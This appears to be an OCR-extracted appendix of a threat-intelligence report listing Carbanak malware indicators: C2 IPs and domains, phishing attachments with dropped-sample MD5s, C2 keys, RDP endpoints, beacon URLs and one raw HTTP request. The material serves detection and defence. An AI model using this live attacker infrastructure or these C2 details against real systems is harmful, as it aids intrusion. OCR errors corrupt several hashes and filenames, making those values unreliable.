67.103.159.140 2014-08 Related to Victim's logs CnC of other malware
Carbanak used to install
Carbanak
69.64.48.125 2014-10 Related to Victim's logs CnC of other malware
Carbanak used to install
Carbanak
74.208.170.163 2014-10 Related to Victim's logs Used by criminals
Carbanak to control infected
machines
78.129.184.4 2014-10 Related to Victim's logs Used by criminals
Carbanak to control infected
machines
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First Source: Sample md5/Detection name/
IP/Domain name  ggenin TYPE System Comment
79.99.6.187 2014-08 Related to Victim's logs CnC of other malware
Carbanak used to install
Carbanak
81.4.110.128 2014-08 Related to Victim's logs Used by criyminals
Carbanak to control infected
machines
83.16.41.202 2014-10 Related to Victim's logs Used by criminals
Carbanak to control infected
machines
83.166.234.250 2014-10 Carbanak’s F66992766D8F9204551B3C42336B4F6D
Windows
backconnect
83.246.67.58 2014-10 Related to Victim's logs CnC of other malware
Carbanak used to install
Carbanak
85.25.117.154 2014-10 Related to Victim's logs CnC of other malware
Carbanak used after Carbanak's
infection
85.25.20.109 2014-10 Related to Victim's logs CnC of other malware
Carbanak used after Carbanak's
infection
85.25.207.212 2014-10 Related to Victim's logs Used by criminals
Carbanak to control infected
machines
87.106.8.177 2014-10 Related to Victim's logs Exploits used to install
Carbanak Carbanak
87.98.153.34 2014-10 Related to Victim's logs Used by criminals
Carbanak to control infected
machines
88.198.184.241 2014-12  Carbanak’s 6AE1BB06D10F253116925371C8E3E74B
Windows
backconnect
91.194.254.38 2014-07 Carbanak’s 446c75b77836b776ec3f502fce48b014
Linux CnC
91.194.254.90 2014-09 Carbanak’s Victim's logs
Linux CnC
91.194.254.91 2014-09 Carbanak’s Victim's logs
Linux CnC
91.194.254.92 2014-07 Carbanak’s Internet scan
Linux CnC
91.194.254.93 2014-07 Carbanak’s Internet scan
Linux CnC
91.194.254.94 2014-07 Carbanak’s Internet scan
Linux CnC
91.194.254.98 2014-07 Carbanak’s Internet scan
Linux CnC
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First Source: Sample md5/Detection name/
IP/Domain name  ggenin TYPE System Comment
93.95.102.109 2014-10 Related to Victim's logs CnC of other malware
Carbanak used after Carbanak's
infection
93.95.99.232 2014-10 Related to Victim's logs CnC of other malware
Carbanak used after Carbanak's
infection
94.247.178.230 2014-10 Related to Victim's logs CnC of other malware
Carbanak used after Carbanak's
infection
95.0.250.113 2014-10 Related to Victim's logs CnC of other malware
Carbanak used after Carbanak's
infection
adguard.name 2014-07 Carbanak’s Victim's logs
Linux CnC
beefeewhewhush-  2014-07  Andromeda's Victim's logs CnC of other malware
eelu.biz Cc&C used to install
Carbanak
blizko.net 2014-07 Carbanak’s Victim's logs
Linux CnC
comixed.org 2014-12 Carbanak’s 1684a5eafd51852c43b4bcad8b58980f
Linux CnC
coral-trevel.com 2014-07 Carbanak’s Internet scan
Linux CnC
datsun-auto.com 2014-04 Carbanak’s cb915d1bd7f21b29edc179092e967331
Linux CnC
di-led.com 2014-07 Carbanak’s 446¢75b77836b776ec3f502fce48b014
Linux CnC
financialnewson- 2014-07 Carbanak’s 4afafa81731f8f02ba1b58073b47abdf
line.pw Linux CnC
financialwiki.pw 2014-07 Carbanak’s 4afafa81731f8f02ba1b58073b47abdf
Linux CnC
flowindaho.info 2014-07 Carbanak’s reverse IP 91.194.254.93
Linux CnC
freemsk-dns.com 2014-08 Carbanak’s reverse IP 146.185.220.200
Linux CnC
gjihhghjg6798.com  2014-10 Carbanak’s 972092CBE7791D27FC9FF6E9ACC12CC3
Linux CnC
glonass-map.com  2014-12 Carbanak’s 6AE1BB06D10F253116925371C8E3E74B
Linux CnC
great-codes.com 2014-10 Carbanak’s 0AD4892EAD67E65EC3DD4C978FCE7D92
Linux CnC
icafyfootsinso.ru 2014-08 Related to Victim's logs Used by criminals
Carbanak to control infected
machines
idedroatyxoaxi.ru 2014-08 Related to Victim's logs CnC of other malware
Carbanak used to install

Carbanak
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First Source: Sample md5/Detection name/
IP/Domain name  ggenin TYPE System Comment
ivaserivaseeer.biz  2014-08 Related to Victim's logs CnC of other malware
Carbanak used to install
Carbanak
microloule461soft-  2014-10 Carbanak’s F66992766D8F9204551B3C42336B4F6D
¢1pol361.com Linux CnC
microsoftc1pol361. 2014-10 Carbanak’s F66992766D8F9204551B3C42336B4F6D
com Linux CnC
mind-finder.com 2014-07 Carbanak’s 0AD4892EAD67E65EC3DD4C978FCE7D92
Linux CnC
operatemesscont.  2014-08  Connect to Victim's logs Used by criminals
net infected sshd to control infected
machines
paradise-plaza.com 2014-07 Carbanak’s Internet scan
Linux CnC
public-dns.us 2014-08 Carbanak’s reverse IP 146.185.220.200
Linux CnC
publics-dns.com 2014-07 Carbanak’s Internet scan
Linux CnC
systemsvc.net 2014-11  Carbanak’s reverse IP 131.72.138.18
Linux CnC
system-svc.net 2014-11  Carbanak’s reverse IP 131.72.138.18
Linux CnC
traider-pro.com 2014-12 Carbanak’s reverse IP 91.194.254.94
Linux CnC
travel-maps.info 2014-07 Carbanak’s reverse IP 91.194.254.38
Linux CnC
update-java.net 2014-08 Carbanak’s reverse IP 146.185.220.200
Linux CnC
veslike.com 2014-07 Carbanak’s Internet scan
Linux CnC
wefwe3223wfdsf. 2014-10 Carbanak’s 08f83d98b18d3dff16c35a20e24ed49a
com Linux CnC
worldnews24.pw 2014-08 Carbanak’s 551d41e2a4dd1497b3b27a91922d29cc
Linux CnC
worldnewsonline.pw 2014-08 Carbanak’s 551d41e2a4dd1497b3b27291922d29cc
Linux CnC
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Tk 4. RETFR D495

This section contains details on spear phishing emails sent by the attackers to
infect victims.

MD5: 8fa296efaf87ff4d9179283d42372c52

Name of attachment: CootsetctBue ®3-115 ot 24.06.2014r.doc

Drops executable:
MD5: a1979aa159e0c54212122fd8acb24383 (Carbanak)
Compiled Mon Apr 04 20:00:57 2011 (Probably fake)
Cc2 on update-java.net
C2 key 1234567812345678
RDP on 37.235.54.48:443

MD5: 665b6cb31d962aefa3037b5849889e06

Name of attachment: 3anpoc.doc

Drops executable:
MD5: 4afafa81731f8f02ba1b58073b47abdf (Carbanak)
Compiled Tue Jul 01 03:20:06 2014

Connects to:
financialnewsonline.pw/FYocDxXpn5MXsHwZX/kLUAbd3w2/uUTsarcVKYk2W3B6hnc
Z/Gafh8U1W805Lo0N/np7E3ICR6gx8keLDJZqUGXJKBDzfc6VYZzITNIIktObQ.htm
(185.10.58.175)

C2 on financialnewsonline.pw, financialwiki.pw

C2 key TXeyuryWcluzxkWnyu

RDP on 185.10.56.59:443

MD5: 2c395f211db2d02cb544448729d0f081

Name of attachment: new.doc

Drops executable:
MD5: 551d41e2a4dd1497b3b27a91922d29cc (Carbanak)
Compiled Mon Aug 04 01:10:40 2014

Connects to:
http://worldnewsonline.pw/JybDHkfW GURJPuWeUpPMX/ca9BThbDimOHdk/9YzkJS7
m8a19tzQwZxo1vvQ/r/7SHJcCm4tdpZGp.dmDwKfMjpWBM18eX8VUiimyaUZMGoCIZ6
eShS9tLCKtuHvIMQ3Dc26y90FbPlua.7LGHGZCBPj.vd08DUENC50AE4VfyUz.shtml

C2s on worldnewsonline.pw, worldnews24.pw
Cc2 key JDvkyfhZxkMmDSwUkqvRelvC
RDP on 185.10.56.59:443
MD5: 31e16189e9218cb131fdb13e75d0a94f
Name of attachment: AHkeTa-3asBneHue.doc
Drops executable:
MD5: 4e107d20832fff89a4 1f04c4dff1739b (Carbanak)
Cc2 on public-dns.us
Cc2 key 1234567812345678
RDP on 37.235.54.48:443
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MD5: db83e301564ff613dd1ca23c30a387f0

Name of attachment: CootBetctBre ®3-115 ot 21.07.2014r.doc

Drops executable:
MD5: cb915d1bd7f21b29edc179092e967331 (Carbanak)
Compiled Tue Apr 08 05:44:12 2014

Connects to:

datsun-auto.com/bDgxEs/Ta61PJgq3zgmRY-.5/8SgGLA-
F/19CstBYT1rK7kx.440Sbtru.cgi?QVzF=tNM2gdtMLscx5bB4uryjM&PfpxBukmcOaD-
Ucygbtzv4=f8fx

MD5: f88a983fc0ef5bb446ae63250e7236dd
Name of attachment: Mpurnawexve.msg
Drops executable:
MD5: 3dc8c4af51c8c367fbe7c7feefdf6744 (Carbanak)
Compiled Fri Aug 08 00:48:07 2014
C2s on worldnewsonline.pw, worldnews24.pw C2
key vfDGbiwmiqdN6E2N
RDP on 185.10.56.59:443
MD5: c4a6a111a070856c49905d815f87ab49
Name of attachment: YOCBAKOOAMKLICLYOHio
Drops executable:
MD5: cb915d1bd7f21b29edc179092e967331 (Carbanak)
Connects to:
GET

/cBAWFVkXi94QxShRTaVVn/YzAxD/X0sZEud.5gNItbvozI3tqT5ly9UYLVii13.bmI?tIxCFi
Busj=20Vj&9GP=a5houGz&K.F=T&I0.7FBN75=nMPDrlGXq4s7clAQOCI662IwVjxvsiTOIG 0dOpd

HTTP/1.1

Host: datsun-auto.com

MD5: 86e48a9be62494bffb3b8e5ech4a0310

Name of attachment: Mpurnawexwue.doc

Drops executable:
MD5: 3dc8c4af51c8c367fbe7c7feefdf6744 (Carbanak)
Compiled Fri Aug 08 00:48:07 2014

MD5: 6¢7ac8dfd7bc5c2bb1a6d7aec488c298

Name of attachment: CootsetctBue ®3-115 ot 02.07.2014r..doc,

Drops executable:
MD5: cb915d1bd7f21b29edc179092e967331 (Carbanak)
Compiled Tue Apr 08 05:44:12 2014

TLP:White

Connects to:
datsun-auto.com/bDgxEs/Ta61PJq3zgmRY-.5/8SgGLA-
F/I9CstBYT 1rK7kx.440Sbtru.cgi?QVzF=tNM2gdtMLscx5bB4uryjM&PfpxBukmcOaD-

Ucygbtzv4=f8fx
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{14% 5:Carbanak @ MD5 /\v>aH5>2T)L

0022c1fe1d6b036de2a08d50ac5446a5
0155738045b331f44d300f4a7d08cf21
0275585¢c3b871405dd299d458724db3d
0ad4892ead67e65ec3dd4c978fce7d92
O0ad6da9e62a2c985156a9c53f8494171
1046652e022a682f89068731fa5e8e50
10e0699f20e31e89c3becfd8bf24cb4c
1300432e537e7ba07840adecf38e543b
15a4eb525072642bb43f3c188a7c3504
16cda323189d8ebad248c0a2f5ad0d8f
1713e551b8118e45d6ea3f05ec1be529
1a4635564172393ae9f43eab85652ba5
1b9b9c8db7735f1793f981d0be556d88
1d1ed892f62559c3f8234c287¢cb3437¢
1e127b92f7102fbd7fa5375e4e5c67d1
1e47e12d11580e935878b0ed78d2294f
1f43a8803498482d360befc6dfab4218
1fd4a01932df638a8c761abacffa0207
20f8e962b2b63170b228ccaff51aeb7d
26d6bb7a4e84bec672fc461487344829
2908afb4de41c64a45e1eb2503169108
2c6112e1e60f083467dc159ffb1ceb6d
2cbat1a82a78f4dcbad1087¢1b71588¢c9
2e2aal05a217aacf3105b4ba2288ad475
36cdf98bc79b6997dd4e3abbed035dca
36dfd1f3bc58401f7d8b56af682f2c38
39012fb6f3a93897f6c5edb1a57f76a0
3dc8c4af51c8c367fbe7c7feef4f6744
407795b49789c2f9cabecalfbab3c73e
45691956a1bad4a8ecc912aeb9f1f0612
4afafa81731f8f02ba1b58073b47abdf
4e107d20832fff89a41f04c4dff1739b
4f16b33c074f1c31d26d193ec74aaa56
50f70e18fe0dedabefe9bf7679b6d56¢
5443b81fbb439972de9e45d801ce907a
55040dd42ccf19b5af7802chba91dbd7f
551d41e2a4dd1497b3b27a91922d29cc
56bfe560518896b0535e0e4da44266d6
5aeecb78181f95829b6eeeefb2ced4975
5da203fa799d79ed5dde485¢c1ed6ba76
608bdeb4ce66c96b7a9289f8cf57ce02
6163103103cdacdc2770bd8e9081cfb4
629f0657e70901e3134dcae2e2027396

643c009904b32004465b95321bb525eb
6e564dadc344cd2d55374dbb00646d1b
735ff7defe0aaa24e13b6795b8e85539
751d2771af1694c0d5db9d894bd134ca
763b335abecbd3d9a6d923a13d6¢2519
763e07083887ecb83a87c24542d70dc5
7b30231709f1ac69e4c9db584be692f0
7d0bbdda98f44a5b73200a2¢157077df
7e3253abefa52aeae9b0451cfb273690
874058e8d8582bf85¢115ce319c5b0af
88c0af9266679e655298ce19e231dff1
8ace0c156eb6f1548b96¢593a15¢cbb25
933ab95dbf7eb0e9d9470a927 2bfaff3
93e44ecfcffdbb1f7f3119251ddb7670
972092cbe7791d27fc9ffée9acc12cc3
9865bb3b4e7112ec9269a98e029cf5ch
9ad8c68b478e9030859d8395d3fdb870
9f455f0efe8c5ff69adcc4 56dcf00dab
a1979aa159e0c54212122fd8ach24383
a4bfd2cfbb235d869d87f5485853edae
a8dc8985226b7b2c468bb82bad3e4d76
aab5dedff7f5dbe2cc4a4 7f2f8d44194
ac5d3fc9da12255759a4a7e4eb3d63e7
acb01930466438d3ee981cb4fc57e196
acb4c5e2f92c84df15faad846f17ff4e
b2e6d273a9b32739c9a26f267ab7d198
b328a01f5b82830cc250e0e429fcab9f
b400bb2a2f9f0ce176368dc709359d3d
b6c08d0db4ca1d9e16f3e164745810ff
b79f7d41e30cf7d69a4d5d19dda8942e
bddbb91388dd2c01068cde88a5fb939%e
¢179ad6f118c97d3db5e04308d48f89%e
c1b48ca3066214a8ec988757cc3022b3
c2472adbc1f251acf26b6deb8e7a174b
c687867e2c92448992c0fd00a2468752
c77331b822ca5b78c31b637984eda029
cb915d1bd7f21b29edc179092e967331
cc294f8727addc5d363bb23e10bedaf2
d943ccb4a3c802d304ac29df259d14f2
db3e8d46587d86519f46f912700372e0
dbd7d010c4657b94f49ca85e4ff88790
e06a0257449fa8dc4ab8ccb6fbf2c50b
e613e5252a7172329ee25525758180a4
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e742242f28842480e5c¢2b3357b7fd6ab
€938f73a10e3d2afbd77dd8ecb3a3854
eaeeb5bf17195a03d6bf7189965ee1bdb
ef8e417e5adb2366a3279d6680c3b979
f4eddae1c0b40bfedeb89e814a2267a5
f66992766d8f9204551b3c42336b4f6d
fad3a7ea0a0c6cb8e20e43667f560d7f
fbc310a9c431577f3489237d48763eea
ff7fd55796fa66c8245c0090157¢c57¢c7
100d516821d99b09718b362d5a4b9a2f
6ae1bb06d10f253116925371c8e3e74b
72eff79f772b4c910259e3716f1acf49
85a26581f9aadeaab415c01de60f932d
9ad6e0db5e2f6b59f14dd55ded057b69
a70fealebeaa77bdfa07848712efa259
be935b4b3c620558422093d643e2edfe
c70cce4 1ef0e4a206b5b48fa2d460bad
41fb85acedc691bc6033fa2c4cf6albe
1684a5eafd51852c43b4bcad8b58980f
08f83d98b18d3dff16c35a20e24ed49a
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